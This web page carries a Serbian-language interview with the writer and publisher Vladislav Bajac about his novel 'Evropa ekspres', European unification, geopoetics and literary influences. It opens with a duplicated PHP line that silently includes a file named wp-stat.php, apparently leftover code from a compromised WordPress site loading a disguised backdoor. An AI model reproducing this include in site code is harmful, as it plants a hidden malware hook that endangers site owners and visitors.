@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); VLADISLAV BAJAC, KNJIŽEVNIK: Pripadati celini, a ostati – ostrvo! – Nedim Sejdinović

VLADISLAV BAJAC, KNJIŽEVNIK: Pripadati celini, a ostati – ostrvo!

Vladislav Bajac se već dugo nalazi u samom vrhu domaće proze, jedan je od najvažnijih i najautentičnijih naših savremenih književnika. Objavljuje relativno retko, ali zato svako njegovo novo delo predstavlja pravi kulturni događaj i čitalački doživljaj. Autor je “Druida iz Sindiduma”, «Podmetača za snove», «Evrope na leđima bika», «Knjige o bambusu», itd. Tu je svakako i “Evropa ekspres”, izašla pretprošle godine, roman sastavljen od priča. Bajac je i direktor izdavačke kuće «Geopoetika» (ranije «Centar za geopoetiku»), koja je srpsku kulturu zadužila mnogim važnim naslovima, od kojih su neki postali i pravi bestseleri. Prisetimo se samo nekih imena koje je ova izdavačka kuća uvela u našu kulturu: Pol Oster, Justejn Gorder, Džulijan Barns, Aleksandar Genis…

Roman “Evropa ekspres” je ironična priča o putovanju pisaca kroz Evropu, a “zasnovan” je na projektu Književnog voza Evropa 2000 (gomile pisaca iz raznih zemalja Evrope smeštenih u jednom vozu koji obilazi “stari kontinent”), u kojem ste i vi učestvovali. U jednom intervjuu ste rekli da vam je taj projekat od samog početka bio komičan. I odista, pomalo podseća na vreme “procvata socijalističkog samoupravljanja” kod nas i sve te vozove “bratstva i jedinstva”. Koliko odista nova evropska retorika ima sličnosti sa retorikom koju smo mi nekada živeli?

– Zaista, kako se vremena menjaju! Sećam se kako mi je krajem osamdesetih godina jedan tada mladi pisac iskazivao svoju želju da svoju zbirku pesama naslovi sa “Sjedinjene Države Evrope”, a obojica smo na kraju razgovora zaključili da je (bilo) prerano za tako nešto. Istorija se zaista uporno ponavlja i svet (svet, to smo i “mi” i “oni”) nikako da od prošlosti nešto nauči. Eto, te sada već prilično izvesne SED (Sjedinjene evropske države) kao da danas delimično otkrivaju “toplu vodu” za koju smo mi do početka devedesetih mislili da je samo naš izum: to naše bratstvo i jedinstvo smo potom (uz zdušnu evropsku pomoć) uništili da bismo ga ubrzo prepustili Evropi ili, da izbegnem pasiv, Evropa ga je od nas preuzela.

Dakle, ja sam na tom putovanju zajedno sa svojom ex YU spisateljskom braćom (imajući u vidu ideju vodilju organizatora pod pokroviteljstvom Evropske unije) uglavnom gledao već viđeno, ali zato uživao u novoj i onoj do tada neviđenoj geografiji. Kada bismo uz dobornamernost pojednostavili međusobne razgovore na tom putovanju, umelo je da nam se, nama Balkancima, omakne pa da “Evropejcima” kažemo: “Lepo, lepo, ali šta će vam to? Mi smo tu već bili, pa vidite šta nam se dogodilo?”

Sećam se, mnogo ranije, 1991., kada sam kratko bio u Bretanji (Francuska), u vreme Vukovara (on se tada pisao kao Vukowar), kako su mi se u bretonskom glavnom gradu Renu hvalili uspehom uvođenja dvojezičnih topografskih znakova, a ja počinjao kao kakav zadrti starac da im govorim: “Eh, kada smo još to MI uveli kod nas!…”, da bih se brzo ugrizao za usnu i ućutao. Ko sam (bio) ja da drugima držim lekciju kada mi je domovina upravo nestajala! Sada mi se čini da nas drugi guraju u nešto slično bivšoj domovini, doduše nešto većeg obima. Pod okriljem tog većeg, i ono naše negdašnje kao da će opet biti nekako zajedno a istovremeno i neće… A opet, kao da su nas rasturili da bi nas opet sastavili, ali po svojim pravilima.

Pisac se često nalazi u veoma nezgodnoj situaciji, da u svojim delima progovara o okolini na način koji to okolina baš uvek ne odobrava (ili na koji ona ne vidi sebe). Ponekad tako može, nesvesno ili svesno, i povrediti nekoga. Neki bi u tome čak prepoznali nekakvu “dvoličnost”. Kakav je vaš stav o tome?

– Sve je u redu dogod književnost ne poistovetite sa politikom. Ako to uradite, uništili ste literaturu, a politici niste učinili nikakvu uslugu. Dakle, mislim da pisac ima pravo, pa čak i treba da pomalo provocira okolinu. To je neka vrsta pročišćenja. Naravno, ni sam autor ne sme da dozvoli da književno delo pretvori u politički pamflet. Ne bih rekao da iz toga proizilazi neka dvoličnost. Uostalom, malo je pisaca koji su bili mudriji od svog dela. Zarad te istine, valja delu oprostiti, a da li treba i piscu, ne znam.

Geopoetika, naziv vaše izdavačke kuće, termin je svetskog putnika, prozaiste i teoretičara Keneta Vajta. Koliko je ovaj termin određujući za vašu književnost, a koliko za dela koja vaša izdavačka kuća objavljuje. Na kraju, kakvo je njegovo značenje u vašoj interpretaciji?

– Naravno da ovaj pojam ima centralno mesto i u mom ličnom pisanju. Ali, podsetio bih vas da sam ja pre osnivanja izdavačke kuće “Geopoetika” 1992/93. godine već objavio nekoliko svojih knjiga te da sam bio već prilično zreo, samostalan da bih se zadovoljio prihvatanjem i preuzimanjem nečije poetike. Za mene lično bilo je dovoljno da sam određene sličnosti prepoznao u ovom pojmu, kao što mi se to mnogo ranije desilo i sa mnogim drugim pojmovima (od nadrealizma, zen budizma preko bit pokreta do konceptuale i dr.). Uostalom, ni Vajt nije “otkrio” geopoetiku: on ju je tako nazvao, ali je bio svestan da je o njoj, nazivajući je drugačije, mnogo ranije dosta ljudi razmišljalo, od Segalena do Toroa i drugih. Na samu izdavačku kuću ovaj pojam bez zazora ima veći uticaj. To ne krijemo, naprotiv – na tome takoreći insistiramo. Iako možda zvuči prozaično, i dalje pojam geopoetike označava intelektualni nomadizam (bez previše pravila), ekologiju duha i nesputanu znatiželju za Drugim (ljudima, pojavama, kulturama…).

U kakvom je odnosu geopoetika sa procesom globalizacije?

– Nije se mrdnula sa svog početnog stanovišta da je najbolja pozicija zajedništvo sa Arhipelagom: pripadati većoj celini a istovremeno biti svoj iliti biti deo ostrvlja (grupe ostrva) a ostati ono što jesi – sopstveno ostrvo. U političkom i poetičkom svetu taj položaj bio bi najbliskiji pojmu regiona. Uostalom, zar još uvek nerešeni osnovni problem ujedinjujuće Evrope nije dobar primer za to: kako biti deo zajednice a ostati svoj?

Neki smatraju da se književnost u svetskim razmerama nalazi u krizi, da čak počinje da deli sudbinu, recimo, opere ili baleta. Kakvo je vaše mišljenje o tome i šta književnost može da ponudi novom dobu?

– Uopšte ne mislim da je književnost u krizi. Dok god bude u stanju da priča priče, ona će za sebe vezivati ljude. Mnogi tzv. moderni, postmoderni i post postmoderni pravci su (makar i bez svesne namere) pokušali da joj naude, pa nisu uspeli. Razumem one koji se pribojavaju za sudbinu literature jer su preokupirani bzinom informacija, novim tehnologijama i sopstvenom površnošću, ali ko im je kriv: ako ne žele da se bore, neka se predaju. Neće zbog njih umetnost nestati. Samo oni mogu da nestanu. Književnost se još uvek obraća samoći, a samoća je još uvek kreativan pojam sa kojim je intimno dovoljno ljudi. Sa njom ne treba mešati usamljenost, pa ni osamu. Samoća je preko potrebno stanje svakom ljudskom biću i ono je, gle paradoksa!, stanje najdublje koncentracije i najkreativnije komunikacije Pojedinca sa Drugima. Iz nje se, uostalom, rađa i čin pisanja kao i čin svakog stvaralaštva. A kada sve propadne, pa i knjige počnu da se krune, književnosti će preostati makar uloga Nade.

Pretpostavljam da je teško, pogotovo književniku koji je pasionirani čitalac kao što ste vi, da odgovori na pitanje koji su pisci na njega najviše uticali. Da li biste ipak pokušali? Da li su važnije knjige koje se pročitaju u periodu rane mladosti ili one koje se čitaju potom?

– Priznajem da mi je teško. Nisam imao klasične uzore i pravo da vam kažem nikada nisam ni razumeo šta to znači. Ali, sećam se da je na mene svojevremeno kao šok, u sintaksičkom smislu, delovao “Roman o Londonu” Miloša Crnjanskog, kojeg sam, prateći tu premodernu sintaksu, čitao sa nekom vrstom aritmije, gušeći se u lavirintima zapeta i tačaka. Voleo sam da čitam Pekića i Kiša. Od stranih autora voleo sam da čitam previše međusobno različitih autora, pa nema smisla da ih nabrajam. Mnogi čuveni svetski pisci su mi prijatelji ili dobri poznanici, pa to onda samo komplikuje odgovor. No, svakako mislim da su najvažnije knjige koje pročitate u ranoj mladosti: one vas nekako istovremeno i usmere i uobliče u buduće biće koje će, eventualno, takođe sutra na nekoga uticati. Ako nikako drugačije, a ono voleći nekoga. To je, uostalom, iako neopipljiv ipak najveći i najvažniji trag koji čovek može za sobom da ostavi.

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.